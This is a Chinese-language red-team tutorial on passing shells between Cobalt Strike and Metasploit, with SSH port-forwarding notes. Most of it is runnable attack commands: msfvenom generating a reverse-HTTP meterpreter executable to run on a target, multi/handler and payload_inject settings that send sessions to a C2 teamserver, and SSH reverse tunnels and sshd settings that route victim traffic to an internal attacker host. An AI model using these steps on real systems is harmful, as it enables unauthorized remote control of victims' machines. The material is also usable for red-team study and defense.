前言
Foreign beacon主要用于将cobalt strike的beacon shell派生到MSF上。我们也看到了有两种类型的Foreign beacon,http与https,他们的区别就是如果CS上的beacon是http的那么就用http类型的foreign beacon,反之亦然。这篇文章会讲CS派发shell到MSF,也会讲其反过程。
如果msf与cs的teamserver都在公网,那么派发将会非常简单,直接用公网ip就好。而且teamserver一般只会在公网上,但msf有可能在内网主机上。这里我们主要讲C2在公网上而MSF在内网。
具体操作(CS->MSF)
先输入下面这条命令再进入msf
ssh -fCNg -R 5555:10.92.78.138:5678 [email protected]
这条命令的含义是将所有访问192.168.124.135的5555端口的流量经由本机转发到10.92.78.138的5678端口,这种技术叫做ssh端口转发,在文章的结尾我会大概提一下这种技术。
打开msf依次输入以下命令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 10.92.78.138
set lport 5678
exploit
payload只能是32位的reverse_http或reverse_https,具体用什么看foreign beacon的情况,乱改的话就会无法派生出会话到msf上。
先看成果:
操作过程很简单我就不截图了,这里我给大家说一下原理。
原理
分为三点来讲
1.首先我们知道MSF在内网,即使内网只能访问公网而公网不能访问内网,这时候我们就需要将我们内网的端口转发到公网上。具体做法就是通过我们的第一条命令也就是ssh端口转发技术来实现,关于这种技术文章有很多我这边也不多提。
2.其次呢,就是关于这个Foreign beacon。就跟文章开头说的一样,如果你MSF使用的是http的payload来监听,我们就用http的Foreign,反之亦然。
3.最后我们要说的是通信原理。首先我们要知道的一个点是,msf到底在跟谁通信得到的shell?到底是跟C2也就是teamserver还是受害主机还是说跟我们的CS的客户端?
揭晓答案,msf是与受害主机进行通信的。即使C2的shell掉了,msf的也不会掉。CS的C2对与msf来说只是一个代理。
如上图所示,受害者主机只与C2有一个tcp连接,tcp连接是https的底层链接。
附录
倘若msf的windows的shell出现乱码则输入chcp 65001就可以有很大的改善。
具体操作(MSF->CS)
Metasploit派生shell给Cobaltstrike
首先,你需要拿到一个metepreter会话,将下面这条命令生成的exe文件放到目标系统上运行即可获得:msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.92.78.138 LPORT=44444 -f exe >1.exe
Cobaltstrike的teamserver的ip为192.168.124.135,http监听器端口为4555
msf exploit(handler) > use exploit/windows/local/payload_inject
msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(payload_inject) > set DisablePayloadHandler true
msf exploit(payload_inject) > set LHOST 192.168.124.135
msf exploit(payload_inject) > set LPORT 45599
msf exploit(payload_inject) > set SESSION 3
msf exploit(payload_inject) > exploit
msf的shell是64位http类型的,但是我反弹的shell是32位的https类型,且依旧成功。
证明msf分发shell的时候,主shell的种类跟分发的shell的种类没啥关系。msf只能分发32位payload的shell。且只要msf的shell掉了,则CS的shell也会掉。
综上所述,msf派发出去的payload是32位的,且无论自己本身的shell是什么类型(无论是tcp还是http还是https),它都可以派发任意一种的32位payload。且一旦msf的shell掉了,派发出去的所有shell都会掉。
CS派发出去的shell就完全不同,即使CS自己的shell掉了,派发出去的也不会掉,派发出去的shell就相当于是一个完整的个体一般,但目前也是只能派发32位payload的shell。
ssh端口转发
一些命令参数
-C 压缩数据传输-f 后台登录用户名密码-N 不执行shell[与-g 合用] -g 允许打开的端口让远程主机访问
在一台公网 VPS 上编辑 sshd 配置,开启 ssh 转发功能,重启 ssh 服务,这是所有使用 ssh 隧道转发前的必备操作:
vim /etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes
#systemctl restart sshd.service
本地转发:
ssh -fCNg -L 5555:192.168.11.11:80 [email protected]
本地转发就是本地跟vps先建立连接,vps再与目标主机的端口建立连接之后将目标主机的端口转发到本机的指定端口上。最终达成的效果是本机访问本机的某一个端口就可以实现访问目标端口。有点像正向代理,流量走势一般为:
本机流量—》vps—》到目标主机
远程转发:
ssh -fCNg -R 5555:172.16.99.146:80 [email protected]
ssh -fCNg -R 5555:10.92.78.138:5678 [email protected]
#将访问vps的5555端口的流量转发到本机然后再由本机转发到172.16.99.146:80
流量走势:
外界流量—》vps的指定端口你—〉本机的指定端口
动态转发:ssh -fCNg -D 5555 [email protected]
#将所有访问本地5555端口的流量通过192.168.11.12转发出去。相当于一个socks代理。